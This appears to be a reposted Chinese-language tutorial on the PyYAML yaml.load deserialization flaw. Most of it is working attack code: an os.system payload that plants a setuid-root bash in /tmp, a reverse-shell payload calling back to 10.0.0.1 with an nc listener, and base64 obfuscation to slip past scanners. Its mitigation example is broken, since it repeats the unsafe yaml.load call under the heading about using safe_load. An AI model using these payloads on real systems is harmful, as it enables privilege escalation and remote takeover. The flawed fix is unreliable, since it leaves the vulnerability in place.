Python 中的 YAML(YAML 不是标记语言)库已被确定存在允许在特定条件下执行任意命令的漏洞。该漏洞是由于使用 yaml.load 函数而未指定安全加载程序而引起的。默认情况下,yaml.load 可以执行任意 Python 对象,这为恶意负载创建了攻击面。
根本风险在于反序列化过程。当 YAML 文档包含恶意负载时,yaml.load 会处理嵌入的指令,可能导致代码执行。例如,考虑以下代码片段:
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
这里,yaml.load 函数不受限制地解析 example.yml,如果 YAML 内容包含不安全指令,则该函数很容易受到攻击。典型的漏洞利用负载可以被设计来执行任意系统命令。
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
每个调用都会处理有效负载,从而在 /tmp/bash 中创建特权可执行文件。然后可以使用提升的权限执行该二进制文件:
/tmp/bash -p
这表明,如果在权限配置错误或存在其他弱点的系统上利用该漏洞,则可能会出现权限提升的可能性。
一个特别阴险的用例是利用该漏洞进行反向 shell。这使得攻击者能够远程访问目标计算机。该过程涉及在攻击者的计算机上启动侦听器并制作旨在建立反向连接的 YAML 文档。
在攻击者的机器上,启动 Netcat 监听器:
nc -lvnp 1234
在目标系统上,以 root 身份执行以下 Python 脚本:
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
此有效负载指示目标计算机连接回攻击者的侦听器,提供具有执行进程权限的完全交互式 shell。
要绕过基本的安全控制或过滤器,有效负载可以进行 Base64 编码。此方法添加了一层混淆,可能会逃避静态分析工具的检测。
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
专业人员必须采用严格的编码实践来消除此类漏洞。建议的缓解措施包括:
使用安全加载器:将 yaml.load 替换为 yaml.safe_load,这样可以防止执行任意对象。
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
限制输入源:确保 YAML 输入经过净化并且仅来自可信来源。
应用静态分析:使用工具扫描代码库是否存在不安全的 yaml.load 调用。
环境强化:限制系统权限以最大程度地减少利用的影响。例如,使用容器化环境限制了攻击者提升权限的能力。
YAML 库的默认行为体现了与 Python 等动态类型语言中的反序列化相关的风险。利用此漏洞所需的复杂程度极低,因此它成为安全应用程序开发的高优先级问题。采用安全的编码实践以及强大的输入验证和运行时保护措施对于有效减轻这些风险至关重要。
以上是在 Python 中使用 YAML 时要小心!可能存在安全漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!